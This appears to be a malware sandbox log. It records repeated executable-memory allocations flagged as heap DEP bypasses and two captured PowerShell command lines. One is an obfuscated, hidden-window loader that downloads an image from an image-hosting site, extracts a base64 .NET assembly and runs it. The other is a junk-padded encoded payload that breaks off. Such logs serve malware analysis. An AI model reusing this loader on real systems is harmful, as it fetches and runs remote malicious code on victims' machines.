stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02695000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02696000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02697000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02698000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02699000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b80000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b81000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b82000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b83000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b84000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b85000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b86000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b87000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b88000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b89000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02b8f000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05140000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05141000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05142000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05143000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2704
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x05144000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('rn6imageUrl = yQShttps://uploaddeimag'+'ens.co'+'m.br/images/004/654/536/original/new_image.jpg?1698957750yQS;rn6webC'+'lient = New-'+'Object System.Net.WebClie'+'nt;rn6imageBytes = rn6webClient.DownloadData(rn6i'+'mag'+'eUrl);rn6imageText = [System.Text.Encoding]::UTF8.GetString(rn6'+'im'+'ageBy'+'tes);rn6startFlag = yQS<<BASE64_START>'+'>'+'yQS;rn6endFlag = yQS<<'+'BAS'+'E64_END>'+'>yQS;rn6'+'startIndex = rn6imageText.IndexO'+'f(rn6startFlag);rn6endIn'+'dex = rn6imageText.In'+'dexOf(rn6endFlag'+');rn6startIndex -ge 0 -an'+'d rn6endIndex -gt rn6startIndex;rn6sta'+'rtIndex += rn6startFlag.Length;rn6base64Length = rn6endIndex - rn6'+'startIndex;rn6base64Command = rn6imageText.Substr'+'ing(rn6startIndex, rn6base64Length'+');rn6commandBytes = [System.Convert]::FromBase64String(rn6base64Command);rn6loadedAssembly = [System.Reflection'+'.Assemb'+'ly]::Load(rn6commandBytes);rn6type = rn6loade'+'dAssembly.GetType(yQSFiber.HomeyQS);rn6method = rn6type.'+'Ge'+'tMethod(yQSVAIyQS).Invoke(rn6null, [object[]] (yQSMC96SllwTi9kL2VlLmV0c2FwLy86c3B0dGg=yQS , yQSyQS '+', yQS2yQS , yQSIgfx'+'yQS , yQS3yQS , yQSC:qkPProgramDataqkPyQS, yQSIgfxyQS))').replAcE('qkP','\').replAcE(([cHaR]121+[cHaR]81+[cHaR]83),[sTrINg][cHaR]39).replAcE(([cHaR]114+[cHaR]110+[cHaR]54),'$')| InVokE-eXpresSiOn"
cmdline "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KhvWQmTktteTÇCmhvWQmTktteTÇCmnhvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBVhvWQmTktteTÇCmHIhvWQmTktteTÇCmbhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwBohvWQmTktteTÇCmHQhvWQmTktteTÇCmdhvWQmTktteTÇCmBwhvWQmTktteTÇCmHMhvWQmTktteTÇCmOghvWQmTktteTÇCmvhvWQmTktteTÇCmC8hvWQmTktteTÇCmdQBwhvWQmTktteTÇCmGwhvWQmTktteTÇCmbwBhhvWQmTktteTÇCmGQhvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZQBuhvWQmTktteTÇCmHMhvWQmTktteTÇCmLgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbQhvWQmTktteTÇCmuhvWQmTktteTÇCmGIhvWQmTktteTÇCmcghvWQmTktteTÇCmvhvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBzhvWQmTktteTÇCmC8hvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmwhvWQmTktteTÇCmDQhvWQmTktteTÇCmLwhvWQmTktteTÇCm2hvWQmTktteTÇCmDUhvWQmTktteTÇCmNhvWQmTktteTÇCmhvWQmTktteTÇCmvhvWQmTktteTÇCmDUhvWQmTktteTÇCmMwhvWQmTktteTÇCm2hvWQmTktteTÇCmC8hvWQmTktteTÇCmbwByhvWQmTktteTÇCmGkhvWQmTktteTÇCmZwBphvWQmTktteTÇCmG4hvWQmTktteTÇCmYQBshvWQmTktteTÇCmC8hvWQmTktteTÇCmbgBlhvWQmTktteTÇCmHchvWQmTktteTÇCmXwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmLgBqhvWQmTktteTÇCmHhvWQmTktteTÇCmhvWQmTktteTÇCmZwhvWQmTktteTÇCm/hvWQmTktteTÇCmDEhvWQmTktteTÇCmNghvWQmTktteTÇCm5hvWQmTktteTÇCmDghvWQmTktteTÇCmOQhvWQmTktteTÇCm1hvWQmTktteTÇCmDchvWQmTktteTÇCmNwhvWQmTktteTÇCm1hvWQmTktteTÇCmDhvWQmTktteTÇCmhvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdwhvWQmTktteTÇCmthvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmE8hvWQmTktteTÇCmYgBqhvWQmTktteTÇCmGUhvWQmTktteTÇCmYwB0hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBOhvWQmTktteTÇCmGUhvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFchvWQmTktteTÇCmZQBihvWQmTktteTÇCmEMhvWQmTktteTÇCmbhvWQmTktteTÇCmBphvWQmTktteTÇCmGUhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmbgB0hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmEIhvWQmTktteTÇCmeQB0hvWQmTktteTÇCmGUhvWQmTktteTÇCmcwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgB3hvWQmTktteTÇCmGUhvWQmTktteTÇCmYgBDhvWQmTktteTÇCmGwhvWQmTktteTÇCmaQBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEQhvWQmTktteTÇCmbwB3hvWQmTktteTÇCmG4hvWQmTktteTÇCmbhvWQmTktteTÇCmBvhvWQmTktteTÇCmGEhvWQmTktteTÇCmZhvWQmTktteTÇCmBEhvWQmTktteTÇCmGEhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBlhvWQmTktteTÇCmFUhvWQmTktteTÇCmcgBshvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmBbhvWQmTktteTÇCmFMhvWQmTktteTÇCmeQBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBthvWQmTktteTÇCmC4hvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmEUhvWQmTktteTÇCmbgBjhvWQmTktteTÇCmG8hvWQmTktteTÇCmZhvWQmTktteTÇCmBphvWQmTktteTÇCmG4hvWQmTktteTÇCmZwBdhvWQmTktteTÇCmDohvWQmTktteTÇCmOgBVhvWQmTktteTÇCmFQhvWQmTktteTÇCmRghvWQmTktteTÇCm4hvWQmTktteTÇCmC4hvWQmTktteTÇCmRwBlhvWQmTktteTÇCmHQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBphvWQmTktteTÇCmG0hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBThvWQmTktteTÇCmFQhvWQmTktteTÇCmQQBShvWQmTktteTÇCmFQhvWQmTktteTÇCmPghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmHkhvWQmTktteTÇCmUQBThvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmB5hvWQmTktteTÇCmFEhvWQmTktteTÇCmUwhvWQmTktteTÇCm8hvWQmTktteTÇCmDwhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmQgBBhvWQmTktteTÇCmFMhvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmRQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmXwBFhvWQmTktteTÇCmE4hvWQmTktteTÇCmRhvWQmTktteTÇCmhvWQmTktteTÇCm+hvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmD4hvWQmTktteTÇCmeQBRhvWQmTktteTÇCmFMhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGkhvWQmTktteTÇCmbQBhhvWQmTktteTÇCmGchvWQmTktteTÇCmZQBUhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmB0hvWQmTktteTÇCmC4hvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmE8hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZghvWQmTktteTÇCmohvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBGhvWQmTktteTÇCmGwhvWQmTktteTÇCmYQBnhvWQmTktteTÇCmCkhvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmaQBthvWQmTktteTÇCmGEhvWQmTktteTÇCmZwBlhvWQmTktteTÇCmFQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmHQhvWQmTktteTÇCmLgBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmTwBmhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmRgBshvWQmTktteTÇCmGEhvWQmTktteTÇCmZwhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwhvWQmTktteTÇCmphvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmZwBlhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmMhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGQhvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmIhvWQmTktteTÇCmhvWQmTktteTÇCmthvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBhhvWQmTktteTÇCmHIhvWQmTktteTÇCmdhvWQmTktteTÇCmBJhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmOwByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQhvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmKwhvWQmTktteTÇCm9hvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEYhvWQmTktteTÇCmbhvWQmTktteTÇCmBhhvWQmTktteTÇCmGchvWQmTktteTÇCmLgBMhvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmHQhvWQmTktteTÇCmahvWQmTktteTÇCmhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGIhvWQmTktteTÇCmYQBzhvWQmTktteTÇCmGUhvWQmTktteTÇCmNghvWQmTktteTÇCm0hvWQmTktteTÇCmEwhvWQmTktteTÇCmZQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmdhvWQmTktteTÇCmBohvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGUhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmC0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNghvWQmTktteTÇCmnhvWQmTktteTÇCmCshvWQmTktteTÇCmJwBzhvWQmTktteTÇCmHQhvWQmTktteTÇCmYQByhvWQmTktteTÇCmHQhvWQmTktteTÇCmSQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmZQB4hvWQmTktteTÇCmDshvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmQwBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmbQBhhvWQmTktteTÇCmG4hvWQmTktteTÇCmZhvWQmTktteTÇCmhvWQmTktteTÇCmghvWQmTktteTÇCmD0hvWQmTktteTÇCmIhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBphvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBnhvWQmTktteTÇCmGUhvWQmTktteTÇCmVhvWQmTktteTÇCmBlhvWQmTktteTÇCmHghvWQmTktteTÇCmdhvWQmTktteTÇCmhvWQmTktteTÇCmuhvWQmTktteTÇCmFMhvWQmTktteTÇCmdQBihvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmByhvWQmTktteTÇCmCchvWQmTktteTÇCmKwhvWQmTktteTÇCmnhvWQmTktteTÇCmGkhvWQmTktteTÇCmbgBnhvWQmTktteTÇCmCghvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmcwB0hvWQmTktteTÇCmGEhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmEkhvWQmTktteTÇCmbgBkhvWQmTktteTÇCmGUhvWQmTktteTÇCmehvWQmTktteTÇCmhvWQmTktteTÇCmshvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmcgBuhvWQmTktteTÇCmDYhvWQmTktteTÇCmYgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmThvWQmTktteTÇCmBlhvWQmTktteTÇCmG4hvWQmTktteTÇCmZwB0hvWQmTktteTÇCmGghvWQmTktteTÇCmJwhvWQmTktteTÇCmrhvWQmTktteTÇCmCchvWQmTktteTÇCmKQhvWQmTktteTÇCm7hvWQmTktteTÇCmHIhvWQmTktteTÇCmbghvWQmTktteTÇCm2hvWQmTktteTÇCmGMhvWQmTktteTÇCmbwBthvWQmTktteTÇCmG0hvWQmTktteTÇCmYQBuhvWQmTktteTÇCmGQhvWQmTktteTÇCmQgB5hvWQmTktteTÇCmHQhvWQmTktteTÇCmZQBzhvWQmTktteTÇCmChvWQmTktteTÇCmhvWQmTktteTÇCmPQhvWQmTktteTÇCmghvWQmTktteTÇCmFshvWQmTktteTÇCmUwB5hvWQmTktteTÇCmHMhvWQmTktteTÇCmdhvWQmTktteTÇCmBlhvWQmTktteTÇCmG0hvWQmTktteTÇCmLgBDhvWQmTktteTÇCmG8hvWQmTktteTÇCmbgB2hvWQmTktteTÇCmGUhvWQmTktteTÇCmcgB0hvWQmTktteTÇCmF0hvWQmTktteTÇCmOghvWQmTktteTÇCm6hvWQmTktteTÇCmEYhvWQmTktteTÇCmcgBvhvWQmTktteTÇCmG0hvWQmTktteTÇCmQgBhhvWQmTktteTÇCmHMhvWQmTktteTÇCmZQhvWQmTktteTÇCm2hvWQmTktteTÇCmDQhvWQmTktteTÇCmUwB0hvWQmTktteTÇCmHIhvWQmTktteTÇCmaQBuhvWQmTktteTÇCmGchvWQmTktteTÇCmKhvWQmTktteTÇCmByhvWQmTktteTÇCmG4hvWQmTktteTÇCmNgBihvWQmTktteTÇCmGEhvWQmTktteTÇCmcwBlhvWQmTktteTÇCmDYhvW